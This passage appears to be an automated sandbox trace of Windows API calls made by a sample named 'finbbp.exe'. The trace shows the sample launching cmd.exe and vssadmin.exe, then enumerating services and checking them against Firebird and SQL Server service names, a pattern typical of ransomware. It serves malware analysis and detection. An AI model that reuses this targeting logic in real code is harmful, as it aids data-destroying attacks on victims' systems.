th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0248.596] lstrlenW (lpString="Memory Compression") returned 18 [0248.596] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.597] lstrlenW (lpString="explorer.exe") returned 12 [0248.597] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.597] lstrlenW (lpString="SearchUI.exe") returned 12 [0248.597] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.598] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0248.598] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.598] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0248.598] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.599] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0248.599] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0248.599] lstrlenW (lpString="finbbp.exe") returned 10 [0248.600] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.600] lstrlenW (lpString="cmd.exe") returned 7 [0248.600] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.600] lstrlenW (lpString="conhost.exe") returned 11 [0248.601] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0248.601] lstrlenW (lpString="vssadmin.exe") returned 12 [0248.601] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0248.602] CloseHandle (hObject=0x4ec) returned 1 [0248.602] Sleep (dwMilliseconds=0x1f4) [0249.284] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0249.284] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0249.285] GetLastError () returned 0xea [0249.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205e48 [0249.285] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0249.286] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0249.286] lstrlenW (lpString="Appinfo") returned 7 [0249.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0249.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0249.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0249.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0249.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0249.287] lstrlenW (lpString="AppXSvc") returned 7 [0249.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0249.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0249.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0249.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0249.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0249.287] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0249.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0249.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0249.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0249.287] lstrlenW (lpString="Audiosrv") returned 8 [0249.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0249.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0249.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0249.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0249.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0249.287] lstrlenW (lpString="BFE") returned 3 [0249.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0249.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0249.287] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0249.287] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0249.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0249.288] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0249.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.288] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0249.288] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0249.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0249.288] lstrlenW (lpString="CDPSvc") returned 6 [0249.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0249.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0249.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0249.288] lstrlenW (lpString="ClickToRunSvc") returned 13 [0249.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0249.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0249.288] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0249.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.288] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0249.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0249.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0249.288] lstrlenW (lpString="CryptSvc") returned 8 [0249.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0249.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0249.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0249.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0249.289] lstrlenW (lpString="DcomLaunch") returned 10 [0249.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0249.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0249.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0249.289] lstrlenW (lpString="DeviceAssociationService") returned 24 [0249.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0249.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0249.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0249.289] lstrlenW (lpString="Dhcp") returned 4 [0249.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0249.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0249.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0249.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0249.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0249.289] lstrlenW (lpString="Dnscache") returned 8 [0249.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0249.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0249.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0249.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0249.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0249.289] lstrlenW (lpString="DPS") returned 3 [0249.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0249.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0249.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0249.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0249.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0249.290] lstrlenW (lpString="DusmSvc") returned 7 [0249.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0249.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0249.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0249.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0249.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0249.290] lstrlenW (lpString="EventLog") returned 8 [0249.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0249.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0249.290] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0249.290] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0249.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0249.290] lstrlenW (lpString="EventSystem") returned 11 [0249.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0249.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0249.290] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0249.290] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0249.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0249.290] lstrlenW (lpString="FontCache") returned 9 [0249.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0249.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0249.290] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0249.290] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0249.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0249.290] lstrlenW (lpString="gpsvc") returned 5 [0249.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0249.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0249.290] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0249.290] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0249.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0249.291] lstrlenW (lpString="iphlpsvc") returned 8 [0249.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.291] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0249.291] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0249.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0249.291] lstrlenW (lpString="KeyIso") returned 6 [0249.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0249.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0249.291] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0249.291] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0249.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0249.291] lstrlenW (lpString="LanmanServer") returned 12 [0249.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0249.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0249.291] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0249.291] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0249.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0249.291] lstrlenW (lpString="LanmanWorkstation") returned 17 [0249.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.291] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0249.291] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0249.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0249.291] lstrlenW (lpString="lfsvc") returned 5 [0249.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0249.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0249.291] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0249.291] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0249.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0249.292] lstrlenW (lpString="lmhosts") returned 7 [0249.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0249.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0249.292] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0249.292] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0249.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0249.292] lstrlenW (lpString="LSM") returned 3 [0249.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0249.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0249.292] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0249.292] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0249.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0249.292] lstrlenW (lpString="MpsSvc") returned 6 [0249.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0249.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0249.353] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0249.353] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0249.354] lstrlenW (lpString="NcbService") returned 10 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0249.354] lstrlenW (lpString="netprofm") returned 8 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0249.354] lstrlenW (lpString="NgcSvc") returned 6 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0249.354] lstrlenW (lpString="NlaSvc") returned 6 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0249.354] lstrlenW (lpString="nsi") returned 3 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0249.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0249.354] lstrlenW (lpString="PcaSvc") returned 6 [0249.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0249.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0249.354] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0249.354] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0249.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0249.355] lstrlenW (lpString="PlugPlay") returned 8 [0249.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0249.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0249.355] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0249.355] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0249.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0249.355] lstrlenW (lpString="Power") returned 5 [0249.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0249.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0249.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0249.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0249.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0249.355] lstrlenW (lpString="ProfSvc") returned 7 [0249.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0249.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0249.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0249.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0249.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0249.355] lstrlenW (lpString="RpcEptMapper") returned 12 [0249.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.355] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0249.355] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0249.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0249.355] lstrlenW (lpString="RpcSs") returned 5 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0249.356] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0249.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0249.356] lstrlenW (lpString="SamSs") returned 5 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0249.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0249.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0249.356] lstrlenW (lpString="Schedule") returned 8 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0249.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0249.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0249.356] lstrlenW (lpString="SecurityHealthService") returned 21 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0249.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0249.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0249.356] lstrlenW (lpString="SENS") returned 4 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0249.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0249.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0249.356] lstrlenW (lpString="ShellHWDetection") returned 16 [0249.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.356] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0249.357] lstrlenW (lpString="Spooler") returned 7 [0249.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0249.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0249.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0249.357] lstrlenW (lpString="StateRepository") returned 15 [0249.357] lstrcmpiW 